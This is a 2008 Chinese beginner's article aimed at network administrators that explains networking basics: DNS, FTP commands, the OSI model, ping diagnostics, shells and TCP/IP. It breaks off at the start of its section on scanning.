平凡的黑客
作者:浊夜,最后更新:2008-7-6 0:22:59

  网管和不是专业的黑客,但是如果网管不了解基本的黑客入侵和防范知识,就不是一个合格的网管,今天我就集了基本的黑客常用知识,希望不了解这些知识,或者对这些一知半解的朋友,多多了解,做一个合格的网管!

  目录:

  DNS的知识

  FTP的含义.原理及使用方法

  Internet与Intranet

  IPX与SPX

  OSI参考模型

  ping是用来做什么的

  shell到底是什么意思啊

  TCP与IP

  什么叫做扫描

  什么是IPC$

  什么是IRC

  什么是IRQ

  加壳和加密

  嗅探器sniffer

  域名是什么啊

  对进程的解释

  端口PORT

  缓冲区溢出

  网络代理服务器

  肉鸡是什么

  路由器是什么

  部分缩略词的解释

  DNS的知识

  DNS多用来进行域名与IP地址的转换。

  DNS(DomainNameSystem)翻成中文是「领域名称系统」.

  在一个TCP/IP架构的网路(例如Internet)环境中,DNS是一个非常重要而且常用的系统.主要的功能就是将人易於记忆的DomainName(域名)与人不容易记忆的IPAddress(IP地址)做转换.而上面执行DNS伺服软体的这台网路主机,就可以称之为DNSServer.

  基本上,通常我们都认为DNS只是将DomainName转换成IPAddress,然後再使用所查到的IPAddress去做连线.事实上,将IPAddress转换成DomainName的功能也是相当常使用到的,当login到一台Unix工作站时,工作站就会去做反查,找出你是从哪个地方连线进来的.

  DNS是使用阶层式的方式来运作的.例如:

  chameleon的DomainName为www.cn90.net这个DomainName当然不是凭空而来的,是从\".net\"所分配下来的.那么.net又是从哪里来的呢?答案是从\".\",也就是所谓的「根领域」(rootdomain)来的.根领域已经是DomainName的最上层.而\".\"这层是由InterNIC(InternetNetworkInformationCenter,网际网路资讯中心)所管理.全世界的DomainName就是这样,一层一层的授与下来.

  FTP的含义.原理及使用方法

  FFTP的含义、原理及使用方法

  FTP是英文FileTransferProtocol的缩写,意思是文件传输协议,主要功能是完成从一个系统到另一个系统完整的文件拷贝。它和HTTP一样都是Internet上广泛使用的协议。FTP协议要用到两个TCP连接,一个是命令链路,用来在FTP客户端与服务器之间传递命令;另一个是数据链路,用来上传或下载数据。

  FTP协议有两种工作方式:PORT方式和PASV方式,中文意思为主动式和被动式。

  PORT(主动)方式的连接过程是:客户端向服务器的FTP端口(默认是21)发送连接请求,服务器接受连接,建立一条命令链路。当需要传送数据时,客户端在命令链路上用PORT命令告诉服务器:“我打开了XXXX端口,你过来连接我”。于是服务器从20端口向客户端的XXXX端口发送连接请求,建立一条数据链路来传送数据。

  PASV(被动)方式的连接过程是:客户端向服务器的FTP端口(默认是21)发送连接请求,服务器接受连接,建立一条命令链路。当需要传送数据时,服务器在命令链路上用PASV命令告诉客户端:“我打开了XXXX端口,你过来连接我”。于是客户端向服务器的XXXX端口发送连接请求,建立一条数据链路来传送数据。

  从上面可以看出,两种方式的命令链路连接方法是一样的,而数据链路的建立方法就完全不同了。在建立数据连接的过程中,客户控制进程反客为主,成为连接的接受者,而服务器数据传输进程成了连接的请求者。作为新的子进程,服务器传输进程可以申请一个新的端口号建立关联(一般是20端口),但是它向哪个客户端口发送连接请求呢?因为客户是没有公认端口的,这时就要用到控制连接。客户控制进程通过控制连接告诉服务器控制进程自己的数据连接端口号;服务器控制进程将它转告自己的数据传输进程,服务器便利用这个端口与客户建立数据连接。

  说了这么多只是希望大家能对FTP的原理有所了解下面介绍FTP的用法。

  FTP命令是Internet用户使用最频繁的命令之一,不论是在DOS还是UNIX操作系统下使用FTP,都会遇到大量的FTP内部命令。熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。

  FTP的命令行格式为:ftp-v-d-i-n-g[主机名],其中

  -v显示远程服务器的所有响应信息;

  -n限制ftp的自动登录,即不使用;

  .netrc文件;

  -d使用调试方式;

  -g取消全局文件名。

  ftp使用的内部命令如下(中括号表示可选项):

  1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:

  !ls*.zip.

  2.$macro-ame[args]:执行宏定义macro-name.

  3.account[password]:提供登录远程系统成功后访问系统资源所需的补

  充口令。

  4.appendlocal-file[remote-file]:将本地文件追加到远程系统主机,

  若未指定远程系统文件名,则使用本地文件名。

  5.ascii:使用ascii类型传输方式。

  6.bell:每个命令执行完毕后计算机响铃一次。

  7.bin:使用二进制文件传输方式。

  8.bye:退出ftp会话过程。

  9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。

  10.cdremote-dir:进入远程主机目录。

  11.cdup:进入远程主机目录的父目录。

  12.chmodmodefile-name:将远程主机文件file-name的存取方式设置为

  mode,如:chmod777a.out。

  13.close:中断与远程服务器的ftp会话(与open对应)。

  14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

  15.‘remote-file:删除远程主机文件。

  16.debug[debug-value]:设置调试方式,显示发送至远程主机的每条命

  令,如:debup3,若设为0,表示取消debug。

  17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本

  地文件local-file。

  18.disconnection:同close。

  19.formformat:将文件传输方式设置为format,缺省为file方式。

  20.getremote-file[local-file]:将远程主机的文件remote-file传至

  本地硬盘的local-file。

  21.glob:设置m‘,mget,mput的文件名扩展,缺省时不扩展文件名,

  同命令行的-g参数。

  22.hash:每传输1024字节,显示一个hash符号(#)。

  23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:helpget。

  24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

  25.image:设置二进制传输方式(同binary)。

  26.lcd[dir]:将本地工作目录切换至dir。

  27.ls[remote-dir][local-file]:显示远程目录remote-dir,并存入本

  地文件local-file。

  28.macdefmacro-name:定义一个宏,遇到macdef下的空行时,宏定义结

  束。

  29.m‘[remote-file]:删除远程主机文件。

  30.mdirremote-fileslocal-file:与dir类似,但可指定多个远程文件,

  如:mdir*.o.*.zipoutfile。

  31.mgetremote-files:传输多个远程文件。

  32.mkdirdir-name:在远程主机中建一目录。

  33.mlsremote-filelocal-file:同nlist,但可指定多个文件名。

  34.mode[modename]:将文件传输方式设置为modename,缺省为stream方

  式。

  35.modtimefile-name:显示远程主机文件的最后修改时间。

  36.mputlocal-file:将多个文件传输至远程主机。

  37.newerfile-name:如果远程机中file-name的修改时间比本地硬盘同

  名文件的时间更近,则重传该文件。

  38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并

  存入本地硬盘的local-file。

  39.nmap[inpatternoutpattern]:设置文件名映射机制,使得文件传输

  时,文件中的某些字符相互转换,如:nmap$1.$2.$3[$1,$2].[$2,$3],则

  传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX

  机的情况。

  40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans

  1R,则文件名LLL将变为RRR。

  41.openhost[port]:建立指定ftp服务器连接,可指定连接端口。

  42.passive:进入被动传输方式。

  43.prompt:设置多个文件传输时的交互提示。

  44.proxyftp-cmd:在次要控制连接中,执行一条ftp命令,该命令允许

  连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,

  以首先建立两个服务器间的连接。

  45.putlocal-file[remote-file]:将本地文件local-file传送至远程主

  机。

  46.pwd:显示远程主机的当前工作目录。

  47.quit:同bye,退出ftp会话。

  48.quotearg1,arg2...:将参数逐字发至远程ftp服务器,如:

  quotesyst.

  49.recvremote-file[local-file]:同get。

  50.regetremote-file[local-file]:类似于get,但若local-file存在,

  则从上次传输中断处续传。

  51.rhelp[cmd-name]:请求获得远程主机的帮助。

  52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态,否

  则显示文件状态。

  53.rename[from][to]:更改远程主机文件名。

  54.reset:清除回答队列。

  55.restartmarker:从指定的标志marker处,重新开始get或put,如:

  restart130。

  56.rmdirdir-name:删除远程主机目录。

  57.runique:设置文件名唯一性存储,若文件存在,则在原文件后加后缀

  ..1,.2等。

  58.sendlocal-file[remote-file]:同put。

  59.sendport:设置PORT命令的使用。

  60.sitearg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。

  61.sizefile-name:显示远程主机文件大小,如:siteidle7200。

  62.status:显示当前ftp状态。

  63.struct[struct-name]:将文件传输结构设置为struct-name,缺省时

  使用stream结构。

  64.sunique:将远程主机文件名存储设置为唯一(与runique对应)。

  65.system:显示远程主机的操作系统类型。

  66.tenex:将文件传输类型设置为TENEX机的所需的类型。

  67.tick:设置传输时的字节计数器。

  68.trace:设置包跟踪。

  69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:

  typebinary,设置二进制传输方式。

  70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:

  umask3。

  71.useruser-name[password][account]:向远程主机表明自己的身份,

  需要口令时,必须输入口令,如:useranonymousmy@email。

  72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp服务器的所有

  响应都将显示给用户,缺省为on.

  73.?[cmd]:同help.

  Internet与Intranet

  Internet(国际互联网)是一个由各种不同类型和规模的独立运行与管理的计算机网络组成的全球范围的计算机网络。组成Internet的计算机网络包括局域网(LAN)、城域网(MAN)以及大规模的广域网(WAN)等。这些网络通过普通电话线、高速率专用线路、卫星、微波和光缆等通信线路把不同国家的大学、公司、科研机构以及军事和政府等组织的网络连接起来。Internet网络互连采用的基本协议是TCP/IP。

  任何一个地方的任意一个Internet用户都可以从Internet中获得任何方面的信息,如自然、社会、政治、历史、科技、教育、卫生、娱乐、政治决策、金融、商业和天气预报等等。

  Intranet(内部网)指采用Internet技术建立的企业内部专用网络。它以TCP/IP协议作为基础,以Web为核心应用,构成统一各便利的信息交换平台。Intranet可实现的功能极为广泛和强大。

  IPX与SPX

  IPX协议

  IPX全称InternetworkPacketExchange(网间数据包交换),IPX协议是NovellNetWare自带的最底层网络协议,主要用来控制局域网内或局域网之间数据包的寻址和路由,只负责数据包在局域网中的传送,并不保证消息的完整性,也不提供纠错服务。

  应用:在局域网中传输数据包时,如果接收节点在同一网段内,通过IPX协议就直接按该节点的ID将数据传给它;如果接收节点不在同一网段内,那么通过IPX协议可以将数据包交给NetWare服务器,再继续传输。在使用过程中,网络管理员可以通过使用相应的IPX路由命令,比如“routingipxadd/setstaticroute”表示在IPX路由表中添加或配置静态IPX路由,“routingipxsetglobal”表示配置全局IPX路由设置。

  SPX协议

  说明:全称SequencesPacketExchange(顺序包交换),SPX协议是基于施乐的XeroxSPP(SequencesPacketProtocol,顺序包协议)协议,同样是由Novell公司开发的一种用于局域网的网络协议。在局域网中,SPX协议主要负责对整个传输的数据进行无差错处理,即纠错。

  应用:SPX协议一般和上面介绍的IPX协议组合成IPX/SPX协议来使用,多用于Netware网络环境以及联网游戏。

  IPX/SPX协议

  说明:IPX/SPX协议即IPX与SPX协议的组合,它是Novell公司为了适应网络的发展而开发的通信协议,具有很强的适应性,安装方便,同时还具有路由功能,可以实现多网段间的通信。其中,IPX协议负责数据包的传送;SPX负责数据包传输的完整性。在微软的NT操作系统中,一般使用NWLinkIPX/SPX兼容协议和NWLinkNetBIOX两种IPX/SPX的兼容协议,即NWLink协议,该兼容协议继承了IPX/SPX协议的优点,更适应Windows的网络环境。

  应用:IPX/SPX协议一般可以应用于大型网络(比如Novell)和局域网游戏环境中(比如反恐精英、星际争霸)。不过,如果不是在Novell网络环境中,一般不使用IPX/SPX协议,而是使用IPX/SPX兼容协议,尤其是在Windows9x/2000组成的对等网中。

  在Windows中安装IPX/SPX兼容协议的方法大致如下:比如在WindowsXP中,首先打开“网络连接”窗口,右击“本地连接”,选择“属性”打开本地连接属性窗口;接着,单击“安装”按钮,选择“协议”组件,单击“添加”按钮;在打开的窗口中选择“NWLinkIPX/SPX/NetBIOSCompatibleTransportProtocol”(如图),最后,单击“确定”按钮即可进行安装。安装之后,不需要进行什么设置就可以使用。

  OSI参考模型

  这是网络知识中最重要的最关键的部分,要多学习,多找参考资料,这篇文章是远远不够的!对网络七层一定要有足够的认识!

  国际标准化组织ISO于1981年正式推荐了一个网络系统结构-----七层参考模型,又叫开放式系统互连参考模型(OSI,与ISO不同,不要搞混了喔!)。开放系统互连OSI中的“开放”是指只要遵循OSI标准,一个系统就可以和体于世界上任何地方的,也遵循这同一标准的其他任何系统进行通信。

  OSI标准制定过程中所采用的方法是将整个庞大而复杂的问题划分为若干个容易处理的小问题,这就是分层的体系结构方法。在OSI中,采用了三级抽象,即体系结构、服务定义(ServiceDefinition)和协议规格说明(ProtocolSpecification)。

  OSI参考模型定义了开放系统的层次结构、层次之间的相互关系及各层所包括的可能的服务。它是作为一个框架来协调和组织各层协议的制定,也是对网络内部结构最精炼地概括与描述。

  OSI参考模型的服务定义详细地说明了各层所提供的服务。某一层的服务就是该层及其以下各层的一种能力,它通过接口提供给更高一层。各层所提供的服务与这些服务是怎样实现的无关。同时,各种服务定义还定义了层与层之间的接口和各层的所使用的原语,但不涉及接口是怎样实现的。

  OSI标准中的各种协议精确地定义了应当发送什么样的控制信息,以及应当用什么样的过程来解释这个控制信息。协议的规程说明具有最严格的约束。

  OSI参考模型并没有提供一个可以实现的方法。OSI参考模型只是描述了一些概念,用来协调进程间通信标准的制定。在OSI的范围内,只有在各种的协议是可以被实现的而各种产品只有和OSI的协议相一致时才能互连。这也就是说,OSI参考模型并不是一个标准,而只是一个在制定标准时所使用的概念性的框架。

  从历史上来看,在制定计算机网络标准方面起着很大作用的两大国际组织是CCITT与ISO。CCITT与ISOTC97的工作领域是不同的,CCITT主要是从通信的角度考虑一些标准的制定,而ISO的TC97则关心信息的处理与网络体系结构。但随着科学技术的发展,通信与信息处理的界限变得比较模糊了。于是,通信与信息处理就都成为CCITT与TC97共同关心的领域。CCITT的建议书X.200就是开放系统互连的基本参考模型,它和ISO7498基本上是相同的。

  2OSI参考模型的结构与各层的主要功能

  提供各种网络服务功能的计算机网络系统是非常复杂的。根据分而治之的原则,ISO将整个通信功能划分为七个层次,划分层次的原则是:

  (1)网中各结点都有相同的层次;

  (2)不同结点的同等层具有相同的功能;

  (3)同一结点内相邻之间通过接口通信;

  (4)每一层使用下层提供的服务,并向其上层提供服务;

  (5)不同结点的同等层按照协议实现对等层之间的通信。

  OSI各层的主要功能是:

  (1)物理层(Physicallayer)

  物理层处于OSI参考模型的最低层。物理层的主要功能是利用物理传输介质为数据链路层提供物理连接,以便透明地传送比特流。

  (2)数据链路层(Datalinklayer)

  在物理层提供比特流传输服务的基础上,在通信的实体之间建立数据链路连接,传送以帧为单位的数据,采用差错控制、流量控制方法,使有差错的物理线路变成无差错的数据链路。

  (3)网络层(Networklayer)

  网络层主要任务是通过路由器算法,为分组通过通信子网选择最适当的路径。网络层要实现路由器选择、拥塞控制与网络互连等功能。

  (4)传输层(Transportlayer)

  传输层的主要任务是向用户提供可靠的端到端(End-to-End)服务,透明地传送报文。它向高层屏蔽了下层数据通信的细节,因而是计算机通体体系结构中最关键的一层。

  (5)会话层(Sessionlayer)

  会话层的主要任务是组织两个会话进程之间的通信,并管理数据的交换。

  (6)表示层(Presentationlayer)

  表示层主要用于处理在两个通信系统中交换信息的表示方式。它包括数据格式变换、数据加密与解密、数据压缩与恢复等功能。

  (7)应用层(Applicationlayer)

  应用层是OSI参考模型中的最高层。应用层确定进程之间通信的性质,以满足用户的需要。应用层不仅要提供应用进程所需要的信息交换和远程操作,而且还要作为应用进程的用户代理(UserAgent),来完成一些为进行信息交换所必需的功能。它包括:文件传送访问和管理FTAM、虚拟终端VT、事务处理TP、远程数据库访问RDA、制造业报文规范MMS、目录服务DS等协议。

  ping是用来做什么的

  ping命令在入侵过程中经常用到,它可以用来做初步扫描。

  Ping是典型的网络工具。Ping能够辨别网络功能的某些状态。这些网络功能的状态是日常网络故障诊断的基础。特别是Ping能够识别连接的二进制状态(也就是是否连通)。但是,这只是能够告知你的网络运行状况的众多行为分析中一个最简单的例子。

  假设网络是一个黑匣子,对此你事先一无所知。通过适当地刺激网络和分析网络的反应,正确地应用网络行为分析模型确定这个黑匣子的内部状态。这就使网络工程师和用户不必专门访问网络的组成设备(也就是接口、交换机和路由器)就可以了解一个网络通道。向网络发送数据包。用网络的正常状态和网络标准作为分析模型。接下来,把可能的网络反应同已知的状态联系起来,就可以识别网络的内部状态,如连通性。

  在使用Ping的情况下,这只能使简单的事情更加复杂。向一个IP地址发送一个ICMPEcho数据包,可以得到ICMP(互联网信报控制协议)应答,你就可以确定在网络路径上存在连接。这很简单,但是功能却非常强大,因为它可以指出更有趣的可能性。当然,网络从来不是理想的。网络对刺激的反应是随时间变化的。一般来说,Ping要重复这个过程不只一次,然后进行统计评估。按照这种做法,Ping大体上可以确定往返时间(RTT)的统计变化以及丢包率(往返时间为无穷大)。根据这个额外的信息,可以稍微多的了解到网络通道中的一些信息,但是了解的并不多。

  正常情况下,当你使用Ping命令来查找问题所在或检验网络运行情况时,你需要使用许多Ping命令,如果所有都运行正确,你就可以相信基本的连通性和配置参数没有问题;如果某些Ping命令出现运行故障,它也可以指明到何处去查找问题。下面就给出一个典型的检测次序及对应的可能故障:

  ping127.0.0.1--这个Ping命令被送到本地计算机的IP软件,该命令永不退出该计算机。如果没有做到这一点,就表示TCP/IP的安装或运行存在某些最基本的问题。

  ping本机IP--这个命令被送到你计算机所配置的IP地址,你的计算机始终都应该对该Ping命令作出应答,如果没有,则表示本地配置或安装存在问题。出现此问题时,局域网用户请断开网络电缆,然后重新发送该命令。如果网线断开后本命令正确,则表示另一台计算机可能配置了相同的IP地址。

  ping局域网内其他IP--这个命令应该离开你的计算机,经过网卡及网络电缆到达其他计算机,再返回。收到回送应答表明本地网络中的网卡和载体运行正确。但如果收到0个回送应答,那么表示子网掩码(进行子网分割时,将IP地址的网络部分与主机部分分开的代码)不正确或网卡配置错误或电缆系统有问题。

  ping网关IP--这个命令如果应答正确,表示局域网中的网关路由器正在运行并能够作出应答。

  ping远程IP--如果收到4个应答,表示成功的使用了缺省网关。对于拨号上网用户则表示能够成功的访问Internet(但不排除ISP的DNS会有问题)。

  pinglocalhost--localhost是个作系统的网络保留名,它是127.0.0.1的别名,每太计算机都应该能够将该名字转换成该地址。如果没有做到这一带内,则表示主机文件(/Windows/host)中存在问题。

  pingwww.yahoo.com--对这个域名执行Ping命...是通过DNS服务器如果这里出现故障,则表示DNS服务器的IP地址配置不正确或DNS服务器有故障(对于拨号上网用户,某些ISP已经不需要设置DNS服务器了)。顺便说一句:你也可以利用该命令实现域名对IP地址的转换功能。

  如果上面所列出的所有Ping命令都能正常运行,那么你对你的计算机进行本地和远程通信的功能基本上就可以放心了。但是,这些命令的成功并不表示你所有的网络配置都没有问题,例如,某些子网掩码错误就可能无法用这些方法检测到。

  Ping命令的常用参数选项

  pingIP-t--连续对IP地址执行Ping命令,直到被用户以Ctrl+C中断。

  pingIP-l2000--指定Ping命令中的数据长度为2000字节,而不是缺省的32字节。

  pingIP-n--执行特定次数的Ping命令。

  shell到底是什么意思啊

  对于shell在目前我还没见过特别确切的定义,我第一次见到shell这个词是在linux上(现在我也没办法改变那时的理解),所以我不对shell的官方解释加入任何自己理解的语言,以免误导大家!

  看下面的文章吧。

  操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。

  shell提供了你与操作系统之间通讯的方式。这种通讯可以以交互方式(从键盘输入,并且可以立即得到响应),或者以shellscript(非交互)方式执行。shellscript是放在文件中的一串shell和操作系统命令,它们可以被重复使用。本质上,shellscript是命令行命令简单的组合到一个文件里面。

  Shell基本上是一个命令解释器,类似于DOS下的command.com。它接收用户命令(如ls等),然后调用相应的应用程序。较为通用的shell有标准的Bourneshell(sh)和Cshell(csh)。

  交互式shell和非交互式shell

  交互式模式就是shell等待你的输入,并且执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当你签退后,shell也终止了。

  shell也可以运行在另外一种模式:非交互式模式。在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。

  shell的类型

  在UNIX中主要有两大类shell

  Bourneshell(包括sh,ksh,andbash)

  Bourneshell(sh)

  Kornshell(ksh)

  BourneAgainshell(bash)

  POSIXshell(sh)

  Cshell(包括cshandtcsh)

  Cshell(csh)

  TENEX/TOPSCshell(tcsh)

  BourneShell

  最初的UNIXshell是由StephenR.Bourne于20世纪70年代中期在新泽西的AT&T贝尔实验室编写的,这就是Bourneshell。Bourneshell是一个交换式的命令解释器和命令编程语言。Bourneshell可以运行为loginshell或者loginshell的子shell(subshell)。只有login命令可以调用Bourneshell作为一个loginshell。此时,shell先读取/etc/profile文件和$HOME/.profile文件。/etc/profile文件为所有的用户定制环境,$HOME/.profile文件为本用户定制环境。最后,shell会等待读取你的输入。

  CShell

  BillJoy于20世纪80年代早期,在Berkeley的加利福尼亚大学开发了Cshell。它主要是为了让用户更容易的使用交互式功能,并把ALGOL风格的语法结构变成了C语言风格。它新增了命令历史、别名、文件名替换、作业控制等功能。

  KornShell

  有很长一段时间,只有两类shell供人们选择,Bourneshell用来编程,Cshell用来交互。为了改变这种状况,AT&T的bell实验室DavidKorn开发了Kornshell。ksh结合了所有的Cshell的交互式特性,并融入了Bourneshell的语法。因此,Kornshell广受用户的欢迎。它还新增了数学计算,进程协作(coprocess)、行内编辑(inlineediting)等功能。KornShell是一个交互式的命令解释器和命令编程语言.它符合POSIX——一个操作系统的国际标准.POSIX不是一个操作系统,而是一个目标在于应用程序的移植性的标准——在源程序一级跨越多种平台。

  BourneAgainShell(bash)

  bash是GNU计划的一部分,用来替代Bourneshell。它用于基于GNU的系统如Linux.大多数的Linux(RedHat,Slackware,Caldera)都以bash作为缺省的shell,并且运行sh时,其实调用的是bash。

  POSIXShell

  POSIXshell是Kornshell的一个变种.当前提供POSIXshell的最大卖主是Hewlett-Packard。在HP-UX11.0,POSIXshell就是/bin/sh,而bsh是/usr/old/bin/sh.

  各主要操作系统下缺省的shell:

  AIX下是KornShell.

  Solaris和FreeBSD缺省的是Bourneshell.

  HP-UX缺省的是POSIXshell.

  Linux是BourneAgainshell.

  【TIP】

  #!/usr/bin/sh的用途

  shellscript的第一行一般都是#!/usr/bin/sh或#!/usr/bin/ksh等,它的用途就是指出本脚本是用的哪种shell写的,执行时系统应该用哪种shell来解释执行它。

  附:LINUX系统的shell原理

  Linux系统的shell作为操作系统的外壳,为用户提供使用操作系统的接口。它是命令语言、命令解释程序及程序设计语言的统称。

  shell是用户和Linux内核之间的接口程序,如果把Linux内核想象成一个球体的中心,shell就是围绕内核的外层。当从shell或其他程序向Linux传递命令时,内核会做出相应的反应。shell是一个命令语言解释器,它拥有自己内建的shell命令集,shell也能被系统中其他应用程序所调用。用户在提示符下输入的命令都由shell先解释然后传给Linux核心。

  有一些命令,比如改变工作目录命令cd,是包含在shell内部的。还有一些命令,例如拷贝命令cp和移动命令rm,是存在于文件系统中某个目录下的单独的程序。对用户而言,不必关心一个命令是建立在shell内部还是一个单独的程序。

  shell首先检查命令是否是内部命令,若不是再检查是否是一个应用程序(这里的应用程序可以是Linux本身的实用程序,如ls和rm,也可以是购买的商业程序,如xv,或者是自由软件,如emacs)。然后shell在搜索路径里寻找这些应用程序(搜索路径就是一个能找到可执行程序的目录列表)。如果键入的命令不是一个内部命令并且在路径里没有找到这个可执行文件,将会显示一条错误信息。如果能够成功找到命令,该内部命令或应用程序将被分解为系统调用并传给Linux内核。

  shell的另一个重要特性是它自身就是一个解释型的程序设计语言,shell程序设计语言支持绝大多数在高级语言中能见到的程序元素,如函数、变量、数组和程序控制结构。shell编程语言简单易学,任何在提示符中能键入的命令都能放到一个可执行的shell程序中。

  当普通用户成功登录,系统将执行一个称为shell的程序。正是shell进程提供了命令行提示符。作为默认值(TurboLinux系统默认的shell是BASH),对普通用户用“$”作提示符,对超级用户(root)用“#”作提示符。

  一旦出现了shell提示符,就可以键入命令名称及命令所需要的参数。shell将执行这些命令。如果一条命令花费了很长的时间来运行,或者在屏幕上产生了大量的输出,可以从键盘上按ctrl+c发出中断信号来中断它(在正常结束之前,中止它的执行)。

  当用户准备结束登录对话进程时,可以键入logout命令、exit命令或文件结束符(EOF)(按ctrl+d实现),结束登录。

  我们来实习一下shell是如何工作的。

  $makework

  make:***Noruletomaketarget‘work’.Stop.

  $

  注释:make是系统中一个命令的名字,后面跟着命令参数。在接收到这个命令后,shell便执行它。本例中,由于输入的命令参数不正确,系统返回信息后停止该命令的执行。

  在例子中,shell会寻找名为make的程序,并以work为参数执行它。make是一个经常被用来编译大程序的程序,它以参数作为目标来进行编译。在“makework”中,make编译的目标是work。因为make找不到以work为名字的目标,它便给出错误信息表示运行失败,用户又回到系统提示符下。

  另外,用户键入有关命令行后,如果shell找不到以其中的命令名为名字的程序,就会给出错误信息。例如,如果用户键入:

  $myprog

  bash:myprog:commandnotfound

  $

  可以看到,用户得到了一个没有找到该命令的错误信息。用户敲错命令后,系统一般会给出这样的错误信息。

  


  TCP与IP

  TCP/IP分组交换网协议

  TCP/IP(TransmissionControlProtocol/InternetProtocol)指传输控制协议/网际协议,表示Internet中所使用的体系结构或指整个的TCP/IP协议族。实际上TCP/IP框架包含了大量的协议和应用,是多个独立定义的协议集合,简称为TCP/IP协议集。其实TCP/IP并不是ISO标准,但广泛的使用使TCP/IP成为了一种实际上的“标准”。

  TCP/IP整体构架概述

  TCP/IP协议并不完全符合OSI的七层参考模型。传统的开放式系统互连参考模型,是一种通信协议的7层抽象的参考模型,其中每一层执行某一特定任务。该模型的目的是使各种硬件在相同的层次上相互通信。这7层是:物理层、数据链路层、网路层、传输层、话路层、表示层和应用层。而TCP/IP通讯协议采用了4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。这4层分别为:

  应用层:应用程序间沟通的层,如简单电子邮件传输(*TP)、文件传输协议(FTP)、网络远程访问协议(Telnet)等。

  传输层:在此层中,它提供了节点间的数据传送服务,如传输控制协议(TCP)、用户数据报协议(UDP)等,TCP和UDP给数据包加入传输数据并把它传输到下一层中,这一层负责传送数据,并且确定数据已被送达并接收。

  互连网络层:负责提供基本的数据封包传送功能,让每一块数据包都能够到达目的主机(但不检查是否被正确接收),如网际协议(IP)。

  网络接口层:对实际的网络媒体的管理,定义如何使用实际网络(如Ethernet、SerialLine等)来传送数据。

  TCP/IP中的协议

  以下简单介绍TCP/IP中的协议都具备什么样的功能,都是如何工作的:

  1.IP

  网际协议IP是TCP/IP的心脏,也是网络层中最重要的协议。

  IP层接收由更低层(网络接口层例如以太网设备驱动程序)发来的数据包,并把该数据包发送到更高层---TCP或UDP层;相反,IP层也把从TCP或UDP层接收来的数据包传送到更低层。IP数据包是不可靠的,因为IP并没有做任何事情来确认数据包是按顺序发送的或者没有被破坏。IP数据包中含有发送它的主机的地址(源地址)和接收它的主机的地址(目的地址)。

  高层的TCP和UDP服务在接收数据包时,通常假设包中的源地址是有效的。也可以这样说,IP地址形成了许多服务的认证基础,这些服务相信数据包是从一个有效的主机发送来的。IP确认包含一个选项,叫作IPsourcerouting,可以用来指定一条源地址和目的地址之间的直接路径。对于一些TCP和UDP的服务来说,使用了该选项的IP包好象是从路径上的最后一个系统传递过来的,而不是来自于它的真实地点。这个选项是为了测试而存在的,说明了它可以被用来欺骗系统来进行平常是被禁止的连接。那么,许多依靠IP源地址做确认的服务将产生问题并且会被非法入侵。

  2.TCP

  如果IP数据包中有已经封好的TCP数据包,那么IP将把它们向‘上’传送到TCP层。TCP将包排序并进行错误检查,同时实现虚电路间的连接。TCP数据包中包括序号和确认,所以未按照顺序收到的包可以被排序,而损坏的包可以被重传。

  TCP将它的信息送到更高层的应用程序,例如Telnet的服务程序和客户程序。应用程序轮流将信息送回TCP层,TCP层便将它们向下传送到IP层,设备驱动程序和物理介质,最后到接收方。

  面向连接的服务(例如Telnet、FTP、rlogin、XWindows和*TP)需要高度的可靠性,所以它们使用了TCP。DNS在某些情况下使用TCP(发送和接收域名数据库),但使用UDP传送有关单个主机的信息。

  3.UDP

  UDP与TCP位于同一层,但对于数据包的顺序错误或重发。因此,UDP不被应用于那些使用虚电路的面向连接的服务,UDP主要用于那些面向查询---应答的服务,例如NFS。相对于FTP或Telnet,这些服务需要交换的信息量较小。使用UDP的服务包括NTP(网落时间协议)和DNS(DNS也使用TCP)。

  欺骗UDP包比欺骗TCP包更容易,因为UDP没有建立初始化连接(也可以称为握手)(因为在两个系统间没有虚电路),也就是说,与UDP相关的服务面临着更大的危险。

  4.ICMP

  ICMP与IP位于同一层,它被用来传送IP的的控制信息。它主要是用来提供有关通向目的地址的路径信息。ICMP的‘Redirect’信息通知主机通向其他系统的更准确的路径,而‘Unreachable’信息则指出路径有问题。另外,如果路径不可用了,ICMP可以使TCP连接‘体面地’终止。PING是最常用的基于ICMP的服务。

  5.TCP和UDP的端口结构

  TCP和UDP服务通常有一个客户/服务器的关系,例如,一个Telnet服务进程开始在系统上处于空闲状态,等待着连接。用户使用Telnet客户程序与服务进程建立一个连接。客户程序向服务进程写入信息,服务进程读出信息并发出响应,客户程序读出响应并向用户报告。因而,这个连接是双工的,可以用来进行读写。

  两个系统间的多重Telnet连接是如何相互确认并协调一致呢?TCP或UDP连接唯一地使用每个信息中的如下四项进行确认:

  源IP地址---发送包的IP地址。

  目的IP地址---接收包的IP地址。

  源端口---源系统上的连接的端口。

  目的端口---目的系统上的连接的端口。

  端口是一个软件结构,被客户程序或服务进程用来发送和接收信息。一个端口对应一个16比特的数。服务进程通常使用一个固定的端口,例如,*TP使用25、Xwindows使用6000。这些端口号是‘广为人知’的,因为在建立与特定的主机或服务的连接时,需要这些地址和目的地址进行通讯。

  什么叫做扫描

  扫描是黑客们入侵前必须做的一件事,它相当于两个军队在战争开始之前一方去打探另一方的消息一样,只有知道对方的薄弱环节才能争取战机。

